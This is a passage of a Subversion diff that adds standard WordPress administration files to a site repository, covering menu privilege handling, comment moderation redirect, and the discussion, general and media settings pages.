+	$submenu['options-general.php'][45] = array(__('Miscellaneous'), 'manage_options', 'options-misc.php');
+
+$_wp_last_utility_menu = 80; // The index of the last top-level menu in the utility menu group
+
+$menu[99] = array( '', 'read', 'separator-last', '', 'wp-menu-separator-last' );
+
+// Back-compat for old top-levels
+$_wp_real_parent_file['post.php'] = 'edit.php';
+$_wp_real_parent_file['post-new.php'] = 'edit.php';
+$_wp_real_parent_file['page-new.php'] = 'edit-pages.php';
+
+do_action('_admin_menu');
+
+// Create list of page plugin hook names.
+foreach ($menu as $menu_page) {
+	$hook_name = sanitize_title(basename($menu_page[2], '.php'));
+
+	// ensure we're backwards compatible
+	$compat = array(
+		'index' => 'dashboard',
+		'edit' => 'posts',
+		'upload' => 'media',
+		'link-manager' => 'links',
+		'edit-pages' => 'pages',
+		'edit-comments' => 'comments',
+		'options-general' => 'settings',
+		'themes' => 'appearance',
+		);
+
+	if ( isset($compat[$hook_name]) )
+		$hook_name = $compat[$hook_name];
+	elseif ( !$hook_name )
+		continue;
+
+	$admin_page_hooks[$menu_page[2]] = $hook_name;
+}
+
+$_wp_submenu_nopriv = array();
+$_wp_menu_nopriv = array();
+// Loop over submenus and remove pages for which the user does not have privs.
+foreach ( array( 'submenu' ) as $sub_loop ) {
+	foreach ($$sub_loop as $parent => $sub) {
+		foreach ($sub as $index => $data) {
+			if ( ! current_user_can($data[1]) ) {
+				unset(${$sub_loop}[$parent][$index]);
+				$_wp_submenu_nopriv[$parent][$data[2]] = true;
+			}
+		}
+
+		if ( empty(${$sub_loop}[$parent]) )
+			unset(${$sub_loop}[$parent]);
+	}
+}
+
+// Loop over the top-level menu.
+// Menus for which the original parent is not acessible due to lack of privs will have the next
+// submenu in line be assigned as the new menu parent.
+foreach ( $menu as $id => $data ) {
+	if ( empty($submenu[$data[2]]) )
+		continue;
+	$subs = $submenu[$data[2]];
+	$first_sub = array_shift($subs);
+	$old_parent = $data[2];
+	$new_parent = $first_sub[2];
+	// If the first submenu is not the same as the assigned parent,
+	// make the first submenu the new parent.
+	if ( $new_parent != $old_parent ) {
+		$_wp_real_parent_file[$old_parent] = $new_parent;
+		$menu[$id][2] = $new_parent;
+
+		foreach ($submenu[$old_parent] as $index => $data) {
+			$submenu[$new_parent][$index] = $submenu[$old_parent][$index];
+			unset($submenu[$old_parent][$index]);
+		}
+		unset($submenu[$old_parent]);
+
+		if ( isset($_wp_submenu_nopriv[$old_parent]) )
+			$_wp_submenu_nopriv[$new_parent] = $_wp_submenu_nopriv[$old_parent];
+	}
+}
+
+do_action('admin_menu', '');
+
+// Remove menus that have no accessible submenus and require privs that the user does not have.
+// Run re-parent loop again.
+foreach ( $menu as $id => $data ) {
+	// If submenu is empty...
+	if ( empty($submenu[$data[2]]) ) {
+		// And user doesn't have privs, remove menu.
+		if ( ! current_user_can($data[1]) ) {
+			$_wp_menu_nopriv[$data[2]] = true;
+			unset($menu[$id]);
+		}
+	}
+}
+
+// Remove any duplicated seperators
+$seperator_found = false;
+foreach ( $menu as $id => $data ) {
+	if ( 0 == strcmp('wp-menu-separator', $data[4] ) ) {
+		if (false == $seperator_found) {
+			$seperator_found = true;
+		} else {
+			unset($menu[$id]);
+			$seperator_found = false;
+		}
+	} else {
+		$seperator_found = false;
+	}
+}
+
+unset($id);
+
+function add_cssclass($add, $class) {
+	$class = empty($class) ? $add : $class .= ' ' . $add;
+	return $class;
+}
+
+function add_menu_classes($menu) {
+
+	$first = $lastorder = false;
+	$i = 0;
+	$mc = count($menu);
+	foreach ( $menu as $order => $top ) {
+		$i++;
+
+		if ( 0 == $order ) { // dashboard is always shown/single
+			$menu[0][4] = add_cssclass('menu-top-first', $top[4]);
+			$lastorder = 0;
+			continue;
+		}
+
+		if ( 0 === strpos($top[2], 'separator') ) { // if separator
+			$first = true;
+			$c = $menu[$lastorder][4];
+			$menu[$lastorder][4] = add_cssclass('menu-top-last', $c);
+			continue;
+		}
+
+		if ( $first ) {
+			$c = $menu[$order][4];
+			$menu[$order][4] = add_cssclass('menu-top-first', $c);
+			$first = false;
+		}
+
+		if ( $mc == $i ) { // last item
+			$c = $menu[$order][4];
+			$menu[$order][4] = add_cssclass('menu-top-last', $c);
+		}
+
+		$lastorder = $order;
+	}
+
+	return apply_filters( 'add_menu_classes', $menu );
+}
+
+uksort($menu, "strnatcasecmp"); // make it all pretty
+
+if ( apply_filters('custom_menu_order', false) ) {
+	$menu_order = array();
+	foreach ( $menu as $menu_item ) {
+		$menu_order[] = $menu_item[2];
+	}
+	unset($menu_item);
+	$default_menu_order = $menu_order;
+	$menu_order = apply_filters('menu_order', $menu_order);
+	$menu_order = array_flip($menu_order);
+	$default_menu_order = array_flip($default_menu_order);
+
+	function sort_menu($a, $b) {
+		global $menu_order, $default_menu_order;
+		$a = $a[2];
+		$b = $b[2];
+		if ( isset($menu_order[$a]) && !isset($menu_order[$b]) ) {
+			return -1;
+		} elseif ( !isset($menu_order[$a]) && isset($menu_order[$b]) ) {
+			return 1;
+		} elseif ( isset($menu_order[$a]) && isset($menu_order[$b]) ) {
+			if ( $menu_order[$a] == $menu_order[$b] )
+				return 0;
+			return ($menu_order[$a] < $menu_order[$b]) ? -1 : 1;
+		} else {
+			return ($default_menu_order[$a] <= $default_menu_order[$b]) ? -1 : 1;
+		}
+	}
+
+	usort($menu, 'sort_menu');
+	unset($menu_order, $default_menu_order);
+}
+
+$menu = add_menu_classes($menu);
+
+if (! user_can_access_admin_page()) {
+	do_action('admin_page_access_denied');
+	wp_die( __('You do not have sufficient permissions to access this page.') );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/moderation.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/moderation.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/moderation.php	(revision 44)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Comment Moderation Administration Panel.
+ *
+ * Redirects to edit-comments.php?comment_status=moderated.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+require_once('../wp-load.php');
+wp_redirect('edit-comments.php?comment_status=moderated');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options-discussion.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options-discussion.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options-discussion.php	(revision 44)
@@ -0,0 +1,228 @@
+<?php
+/**
+ * Discussion settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Discussion Settings');
+$parent_file = 'options-general.php';
+
+include('admin-header.php');
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form method="post" action="options.php">
+<?php settings_fields('discussion'); ?>
+
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><?php _e('Default article settings') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Default article settings') ?></span></legend>
+<label for="default_pingback_flag">
+<input name="default_pingback_flag" type="checkbox" id="default_pingback_flag" value="1" <?php checked('1', get_option('default_pingback_flag')); ?> />
+<?php _e('Attempt to notify any blogs linked to from the article (slows down posting.)') ?></label>
+<br />
+<label for="default_ping_status">
+<input name="default_ping_status" type="checkbox" id="default_ping_status" value="open" <?php checked('open', get_option('default_ping_status')); ?> />
+<?php _e('Allow link notifications from other blogs (pingbacks and trackbacks.)') ?></label>
+<br />
+<label for="default_comment_status">
+<input name="default_comment_status" type="checkbox" id="default_comment_status" value="open" <?php checked('open', get_option('default_comment_status')); ?> />
+<?php _e('Allow people to post comments on new articles') ?></label>
+<br />
+<small><em><?php echo '(' . __('These settings may be overridden for individual articles.') . ')'; ?></em></small>
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('Other comment settings') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Other comment settings') ?></span></legend>
+<label for="require_name_email"><input type="checkbox" name="require_name_email" id="require_name_email" value="1" <?php checked('1', get_option('require_name_email')); ?> /> <?php _e('Comment author must fill out name and e-mail') ?></label>
+<br />
+<label for="comment_registration">
+<input name="comment_registration" type="checkbox" id="comment_registration" value="1" <?php checked('1', get_option('comment_registration')); ?> />
+<?php _e('Users must be registered and logged in to comment') ?>
+</label>
+<br />
+
+<label for="close_comments_for_old_posts">
+<input name="close_comments_for_old_posts" type="checkbox" id="close_comments_for_old_posts" value="1" <?php checked('1', get_option('close_comments_for_old_posts')); ?> />
+<?php printf( __('Automatically close comments on articles older than %s days'), '</label><input name="close_comments_days_old" type="text" id="close_comments_days_old" value="' . esc_attr(get_option('close_comments_days_old')) . '" class="small-text" />') ?>
+<br />
+<label for="thread_comments">
+<input name="thread_comments" type="checkbox" id="thread_comments" value="1" <?php checked('1', get_option('thread_comments')); ?> />
+<?php
+
+$maxdeep = (int) apply_filters( 'thread_comments_depth_max', 10 );
+
+$thread_comments_depth = '</label><select name="thread_comments_depth" id="thread_comments_depth">';
+for ( $i = 1; $i <= $maxdeep; $i++ ) {
+	$thread_comments_depth .= "<option value='" . esc_attr($i) . "'";
+	if ( get_option('thread_comments_depth') == $i ) $thread_comments_depth .= " selected='selected'";
+	$thread_comments_depth .= ">$i</option>";
+}
+$thread_comments_depth .= '</select>';
+
+printf( __('Enable threaded (nested) comments %s levels deep'), $thread_comments_depth );
+
+?><br />
+<label for="page_comments">
+<input name="page_comments" type="checkbox" id="page_comments" value="1" <?php checked('1', get_option('page_comments')); ?> />
+<?php
+
+$default_comments_page = '</label><label for="default_comments_page"><select name="default_comments_page" id="default_comments_page"><option value="newest"';
+if ( 'newest' == get_option('default_comments_page') ) $default_comments_page .= ' selected="selected"';
+$default_comments_page .= '>' . __('last') . '</option><option value="oldest"';
+if ( 'oldest' == get_option('default_comments_page') ) $default_comments_page .= ' selected="selected"';
+$default_comments_page .= '>' . __('first') . '</option></select>';
+
+printf( __('Break comments into pages with %1$s comments per page and the %2$s page displayed by default'), '</label><label for="comments_per_page"><input name="comments_per_page" type="text" id="comments_per_page" value="' . esc_attr(get_option('comments_per_page')) . '" class="small-text" />', $default_comments_page );
+
+?></label>
+<br />
+<label for="comment_order"><?php
+
+$comment_order = '<select name="comment_order" id="comment_order"><option value="asc"';
+if ( 'asc' == get_option('comment_order') ) $comment_order .= ' selected="selected"';
+$comment_order .= '>' . __('older') . '</option><option value="desc"';
+if ( 'desc' == get_option('comment_order') ) $comment_order .= ' selected="selected"';
+$comment_order .= '>' . __('newer') . '</option></select>';
+
+printf( __('Comments should be displayed with the %s comments at the top of each page'), $comment_order );
+
+?></label>
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('E-mail me whenever') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('E-mail me whenever') ?></span></legend>
+<label for="comments_notify">
+<input name="comments_notify" type="checkbox" id="comments_notify" value="1" <?php checked('1', get_option('comments_notify')); ?> />
+<?php _e('Anyone posts a comment') ?> </label>
+<br />
+<label for="moderation_notify">
+<input name="moderation_notify" type="checkbox" id="moderation_notify" value="1" <?php checked('1', get_option('moderation_notify')); ?> />
+<?php _e('A comment is held for moderation') ?> </label>
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('Before a comment appears') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Before a comment appears') ?></span></legend>
+<label for="comment_moderation">
+<input name="comment_moderation" type="checkbox" id="comment_moderation" value="1" <?php checked('1', get_option('comment_moderation')); ?> />
+<?php _e('An administrator must always approve the comment') ?> </label>
+<br />
+<label for="comment_whitelist"><input type="checkbox" name="comment_whitelist" id="comment_whitelist" value="1" <?php checked('1', get_option('comment_whitelist')); ?> /> <?php _e('Comment author must have a previously approved comment') ?></label>
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('Comment Moderation') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Comment Moderation') ?></span></legend>
+<p><label for="comment_max_links"><?php printf(__('Hold a comment in the queue if it contains %s or more links. (A common characteristic of comment spam is a large number of hyperlinks.)'), '<input name="comment_max_links" type="text" id="comment_max_links" value="' . esc_attr(get_option('comment_max_links')) . '" class="small-text" />' ) ?></label></p>
+
+<p><label for="moderation_keys"><?php _e('When a comment contains any of these words in its content, name, URL, e-mail, or IP, it will be held in the <a href="edit-comments.php?comment_status=moderated">moderation queue</a>. One word or IP per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;.') ?></label></p>
+<p>
+<textarea name="moderation_keys" rows="10" cols="50" id="moderation_keys" class="large-text code"><?php form_option('moderation_keys'); ?></textarea>
+</p>
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('Comment Blacklist') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Comment Blacklist') ?></span></legend>
+<p><label for="blacklist_keys"><?php _e('When a comment contains any of these words in its content, name, URL, e-mail, or IP, it will be marked as spam. One word or IP per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;.') ?></label></p>
+<p>
+<textarea name="blacklist_keys" rows="10" cols="50" id="blacklist_keys" class="large-text code"><?php form_option('blacklist_keys'); ?></textarea>
+</p>
+</fieldset></td>
+</tr>
+<?php do_settings_fields('discussion', 'default'); ?>
+</table>
+
+<h3><?php _e('Avatars') ?></h3>
+
+<p><?php _e('An avatar is an image that follows you from weblog to weblog appearing beside your name when you comment on avatar enabled sites.  Here you can enable the display of avatars for people who comment on your blog.'); ?></p>
+
+<?php // the above would be a good place to link to codex documentation on the gravatar functions, for putting it in themes. anything like that? ?>
+
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><?php _e('Avatar Display') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Avatar display') ?></span></legend>
+<?php
+	$yesorno = array(0 => __("Don&#8217;t show Avatars"), 1 => __('Show Avatars'));
+	foreach ( $yesorno as $key => $value) {
+		$selected = (get_option('show_avatars') == $key) ? 'checked="checked"' : '';
+		echo "\n\t<label><input type='radio' name='show_avatars' value='" . esc_attr($key) . "' $selected/> $value</label><br />";
+	}
+?>
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('Maximum Rating') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Maximum Rating') ?></span></legend>
+
+<?php
+$ratings = array( 'G' => __('G &#8212; Suitable for all audiences'), 'PG' => __('PG &#8212; Possibly offensive, usually for audiences 13 and above'), 'R' => __('R &#8212; Intended for adult audiences above 17'), 'X' => __('X &#8212; Even more mature than above'));
+foreach ($ratings as $key => $rating) :
+	$selected = (get_option('avatar_rating') == $key) ? 'checked="checked"' : '';
+	echo "\n\t<label><input type='radio' name='avatar_rating' value='" . esc_attr($key) . "' $selected/> $rating</label><br />";
+endforeach;
+?>
+
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('Default Avatar') ?></th>
+<td class="defaultavatarpicker"><fieldset><legend class="screen-reader-text"><span><?php _e('Default Avatar') ?></span></legend>
+
+<?php _e('For users without a custom avatar of their own, you can either display a generic logo or a generated one based on their e-mail address.'); ?><br />
+
+<?php
+$avatar_defaults = array(
+	'mystery' => __('Mystery Man'),
+	'blank' => __('Blank'),
+	'gravatar_default' => __('Gravatar Logo'),
+	'identicon' => __('Identicon (Generated)'),
+	'wavatar' => __('Wavatar (Generated)'),
+	'monsterid' => __('MonsterID (Generated)')
+);
+$avatar_defaults = apply_filters('avatar_defaults', $avatar_defaults);
+$default = get_option('avatar_default');
+if ( empty($default) )
+	$default = 'mystery';
+$size = 32;
+$avatar_list = '';
+foreach ( $avatar_defaults as $default_key => $default_name ) {
+	$selected = ($default == $default_key) ? 'checked="checked" ' : '';
+	$avatar_list .= "\n\t<label><input type='radio' name='avatar_default' id='avatar_{$default_key}' value='" . esc_attr($default_key)  . "' {$selected}/> ";
+
+	$avatar = get_avatar( $user_email, $size, $default_key );
+	$avatar_list .= preg_replace("/src='(.+?)'/", "src='\$1&amp;forcedefault=1'", $avatar);
+
+	$avatar_list .= ' ' . $default_name . '</label>';
+	$avatar_list .= '<br />';
+}
+echo apply_filters('default_avatar_select', $avatar_list);
+?>
+
+</fieldset></td>
+</tr>
+<?php do_settings_fields('discussion', 'avatars'); ?>
+</table>
+
+<?php do_settings_sections('discussion'); ?>
+
+<p class="submit">
+<input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>" />
+</p>
+</form>
+</div>
+
+<?php include('./admin-footer.php'); ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options-general.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options-general.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options-general.php	(revision 44)
@@ -0,0 +1,280 @@
+<?php
+/**
+ * General settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('./admin.php');
+
+$title = __('General Settings');
+$parent_file = 'options-general.php';
+/* translators: date and time format for exact current time, mainly about timezones, see http://php.net/date */
+$timezone_format = _x('Y-m-d G:i:s', 'timezone date format');
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @package WordPress
+ * @subpackage General_Settings_Panel
+ */
+function add_js() {
+?>
+<script type="text/javascript">
+//<![CDATA[
+	jQuery(document).ready(function($){
+		$("input[name='date_format']").click(function(){
+			if ( "date_format_custom_radio" != $(this).attr("id") )
+				$("input[name='date_format_custom']").val( $(this).val() );
+		});
+		$("input[name='date_format_custom']").focus(function(){
+			$("#date_format_custom_radio").attr("checked", "checked");
+		});
+
+		$("input[name='time_format']").click(function(){
+			if ( "time_format_custom_radio" != $(this).attr("id") )
+				$("input[name='time_format_custom']").val( $(this).val() );
+		});
+		$("input[name='time_format_custom']").focus(function(){
+			$("#time_format_custom_radio").attr("checked", "checked");
+		});
+	});
+//]]>
+</script>
+<?php
+}
+add_filter('admin_head', 'add_js');
+
+include('./admin-header.php');
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form method="post" action="options.php">
+<?php settings_fields('general'); ?>
+
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><label for="blogname"><?php _e('Blog Title') ?></label></th>
+<td><input name="blogname" type="text" id="blogname" value="<?php form_option('blogname'); ?>" class="regular-text" /></td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="blogdescription"><?php _e('Tagline') ?></label></th>
+<td><input name="blogdescription" type="text" id="blogdescription"  value="<?php form_option('blogdescription'); ?>" class="regular-text" />
+<span class="description"><?php _e('In a few words, explain what this blog is about.') ?></span></td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="siteurl"><?php _e('WordPress address (URL)') ?></label></th>
+<td><input name="siteurl" type="text" id="siteurl" value="<?php form_option('siteurl'); ?>" class="regular-text code<?php if ( defined( 'WP_SITEURL' ) ) : ?> disabled" disabled="disabled"<?php else: ?>"<?php endif; ?> /></td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="home"><?php _e('Blog address (URL)') ?></label></th>
+<td><input name="home" type="text" id="home" value="<?php form_option('home'); ?>" class="regular-text code<?php if ( defined( 'WP_HOME' ) ) : ?> disabled" disabled="disabled"<?php else: ?>"<?php endif; ?> />
+<span class="description"><?php _e('Enter the address here if you want your blog homepage <a href="http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory">to be different from the directory</a> you installed WordPress.'); ?></span></td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="admin_email"><?php _e('E-mail address') ?> </label></th>
+<td><input name="admin_email" type="text" id="admin_email" value="<?php form_option('admin_email'); ?>" class="regular-text" />
+<span class="description"><?php _e('This address is used for admin purposes, like new user notification.') ?></span></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('Membership') ?></th>
+<td> <fieldset><legend class="screen-reader-text"><span><?php _e('Membership') ?></span></legend><label for="users_can_register">
+<input name="users_can_register" type="checkbox" id="users_can_register" value="1" <?php checked('1', get_option('users_can_register')); ?> />
+<?php _e('Anyone can register') ?></label>
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="default_role"><?php _e('New User Default Role') ?></label></th>
+<td>
+<select name="default_role" id="default_role"><?php wp_dropdown_roles( get_option('default_role') ); ?></select>
+</td>
+</tr>
+<tr>
+<?php
+if ( !wp_timezone_supported() ) : // no magic timezone support here
+?>
+<th scope="row"><label for="gmt_offset"><?php _e('Timezone') ?> </label></th>
+<td>
+<select name="gmt_offset" id="gmt_offset">
+<?php
+$current_offset = get_option('gmt_offset');
+$offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5,
+	0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14);
+foreach ( $offset_range as $offset ) {
+	if ( 0 < $offset )
+		$offset_name = '+' . $offset;
+	elseif ( 0 == $offset )
+		$offset_name = '';
+	else
+		$offset_name = (string) $offset;
+
+	$offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name);
+
+	$selected = '';
+	if ( $current_offset == $offset ) {
+		$selected = " selected='selected'";
+		$current_offset_name = $offset_name;
+	}
+	echo "<option value=\"" . esc_attr($offset) . "\"$selected>" . sprintf(__('UTC %s'), $offset_name) . '</option>';
+}
+?>
+</select>
+<?php _e('hours'); ?>
+<span id="utc-time"><?php printf(__('<abbr title="Coordinated Universal Time">UTC</abbr> time is <code>%s</code>'), date_i18n( $time_format, false, 'gmt')); ?></span>
+<?php if ($current_offset) : ?>
+	<span id="local-time"><?php printf(__('UTC %1$s is <code>%2$s</code>'), $current_offset_name, date_i18n($time_format)); ?></span>
+<?php endif; ?>
+<br />
+<span class="description"><?php _e('Unfortunately, you have to manually update this for Daylight Savings Time. Lame, we know, but will be fixed in the future.'); ?></span>
+</td>
+<?php
+else: // looks like we can do nice timezone selection!
+$current_offset = get_option('gmt_offset');
+$tzstring = get_option('timezone_string');
+if (empty($tzstring)) { // set the Etc zone if no timezone string exists
+	if ($current_offset < 0) $offnum = - ceil($current_offset);
+	else $offnum = - floor($current_offset);
+	$tzstring = 'Etc/GMT' . (($offnum >= 0) ? '+' : '') . $offnum;
+}
+?>
+<th scope="row"><label for="timezone_string"><?php _e('Timezone') ?></label></th>
+<td>
+
+<select id="timezone_string" name="timezone_string">
+<?php echo wp_timezone_choice($tzstring); ?>
+</select>
+
+    <span id="utc-time"><?php printf(__('<abbr title="Coordinated Universal Time">UTC</abbr> time is <code>%s</code>'), date_i18n($timezone_format, false, 'gmt')); ?></span>
+<?php if (get_option('timezone_string')) : ?>
+	<span id="local-time"><?php printf(__('Local time is <code>%1$s</code>'), date_i18n($timezone_format)); ?></span>
+<?php endif; ?>
+<br />
+<span class="description"><?php _e('Choose a city in the same timezone as you.'); ?></span>
+<br />
+<span>
+<?php if ($tzstring) : ?>
+	<?php
+	$now = localtime(time(),true);
+	if ($now['tm_isdst']) _e('This timezone is currently in daylight savings time.');
+	else _e('This timezone is currently in standard time.');
+	?>
+	<br />
+	<?php
+	if (function_exists('timezone_transitions_get')) {
+		$dateTimeZoneSelected = new DateTimeZone($tzstring);
+		foreach (timezone_transitions_get($dateTimeZoneSelected) as $tr) {
+			if ($tr['ts'] > time()) {
+			    $found = true;
+				break;
+			}
+		}
+
+		if ( isset($found) && $found === true ) {
+			echo ' ';
+			$message = $tr['isdst'] ?
+				__('Daylight savings time begins on: <code>%s</code>.') :
+				__('Standard time begins  on: <code>%s</code>.');
+			printf( $message, date_i18n(get_option('date_format').' '.get_option('time_format'), $tr['ts'] ) );
+		} else {
+			_e('This timezone does not observe daylight savings time.');
+		}
+	}
+	?>
+	</span>
+<?php endif; ?>
+</td>
+
+<?php endif; ?>
+</tr>
+<tr>
+<th scope="row"><?php _e('Date Format') ?></th>
+<td>
+	<fieldset><legend class="screen-reader-text"><span><?php _e('Date Format') ?></span></legend>
+<?php
+
+	$date_formats = apply_filters( 'date_formats', array(
+		__('F j, Y'),
+		'Y/m/d',
+		'm/d/Y',
+		'd/m/Y',
+	) );
+
+	$custom = TRUE;
+
+	foreach ( $date_formats as $format ) {
+		echo "\t<label title='" . esc_attr($format) . "'><input type='radio' name='date_format' value='" . esc_attr($format) . "'";
+		if ( get_option('date_format') === $format ) { // checked() uses "==" rather than "==="
+			echo " checked='checked'";
+			$custom = FALSE;
+		}
+		echo ' /> ' . date_i18n( $format ) . "</label><br />\n";
+	}
+
+	echo '	<label><input type="radio" name="date_format" id="date_format_custom_radio" value="\c\u\s\t\o\m"';
+	checked( $custom );
+	echo '/> ' . __('Custom:') . ' </label><input type="text" name="date_format_custom" value="' . esc_attr( get_option('date_format') ) . '" class="small-text" /> ' . date_i18n( get_option('date_format') ) . "\n";
+
+	echo "\t<p>" . __('<a href="http://codex.wordpress.org/Formatting_Date_and_Time">Documentation on date formatting</a>. Click &#8220;Save Changes&#8221; to update sample output.') . "</p>\n";
+?>
+	</fieldset>
+</td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Time Format') ?></th>
+<td>
+	<fieldset><legend class="screen-reader-text"><span><?php _e('Time Format') ?></span></legend>
+<?php
+
+	$time_formats = apply_filters( 'time_formats', array(
+		__('g:i a'),
+		'g:i A',
+		'H:i',
+	) );
+
+	$custom = TRUE;
+
+	foreach ( $time_formats as $format ) {
+		echo "\t<label title='" . esc_attr($format) . "'><input type='radio' name='time_format' value='" . esc_attr($format) . "'";
+		if ( get_option('time_format') === $format ) { // checked() uses "==" rather than "==="
+			echo " checked='checked'";
+			$custom = FALSE;
+		}
+		echo ' /> ' . date_i18n( $format ) . "</label><br />\n";
+	}
+
+	echo '	<label><input type="radio" name="time_format" id="time_format_custom_radio" value="\c\u\s\t\o\m"';
+	checked( $custom );
+	echo '/> ' . __('Custom:') . ' </label><input type="text" name="time_format_custom" value="' . esc_attr( get_option('time_format') ) . '" class="small-text" /> ' . date_i18n( get_option('time_format') ) . "\n";
+?>
+	</fieldset>
+</td>
+</tr>
+<tr>
+<th scope="row"><label for="start_of_week"><?php _e('Week Starts On') ?></label></th>
+<td><select name="start_of_week" id="start_of_week">
+<?php
+for ($day_index = 0; $day_index <= 6; $day_index++) :
+	$selected = (get_option('start_of_week') == $day_index) ? 'selected="selected"' : '';
+	echo "\n\t<option value='" . esc_attr($day_index) . "' $selected>" . $wp_locale->get_weekday($day_index) . '</option>';
+endfor;
+?>
+</select></td>
+</tr>
+<?php do_settings_fields('general', 'default'); ?>
+</table>
+
+<?php do_settings_sections('general'); ?>
+
+<p class="submit">
+<input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>" />
+</p>
+</form>
+
+</div>
+
+<?php include('./admin-footer.php') ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options-head.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options-head.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options-head.php	(revision 44)
@@ -0,0 +1,17 @@
+<?php
+/**
+ * WordPress Options Header.
+ *
+ * Resets variables: 'action', 'standalone', and 'option_group_id'. Displays
+ * updated message, if updated variable is part of the URL query.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+wp_reset_vars(array('action', 'standalone', 'option_group_id'));
+?>
+
+<?php if (isset($_GET['updated'])) : ?>
+<div id="message" class="updated fade"><p><strong><?php _e('Settings saved.') ?></strong></p></div>
+<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options-media.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options-media.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options-media.php	(revision 44)
@@ -0,0 +1,75 @@
+<?php
+/**
+ * Media settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Media Settings');
+$parent_file = 'options-general.php';
+
+include('admin-header.php');
+
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form action="options.php" method="post">
+<?php settings_fields('media'); ?>
+
+<h3><?php _e('Image sizes') ?></h3>
+<p><?php _e('The sizes listed below determine the maximum dimensions in pixels to use when inserting an image into the body of a post.'); ?></p>
+
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><?php _e('Thumbnail size') ?></th>
+<td>
+<label for="thumbnail_size_w"><?php _e('Width'); ?></label>
+<input name="thumbnail_size_w" type="text" id="thumbnail_size_w" value="<?php form_option('thumbnail_size_w'); ?>" class="small-text" />
+<label for="thumbnail_size_h"><?php _e('Height'); ?></label>
+<input name="thumbnail_size_h" type="text" id="thumbnail_size_h" value="<?php form_option('thumbnail_size_h'); ?>" class="small-text" /><br />
+<input name="thumbnail_crop" type="checkbox" id="thumbnail_crop" value="1" <?php checked('1', get_option('thumbnail_crop')); ?>/>
+<label for="thumbnail_crop"><?php _e('Crop thumbnail to exact dimensions (normally thumbnails are proportional)'); ?></label>
+</td>
+</tr>
+
+<tr valign="top">
+<th scope="row"><?php _e('Medium size') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Medium size') ?></span></legend>
+<label for="medium_size_w"><?php _e('Max Width'); ?></label>
+<input name="medium_size_w" type="text" id="medium_size_w" value="<?php form_option('medium_size_w'); ?>" class="small-text" />
+<label for="medium_size_h"><?php _e('Max Height'); ?></label>
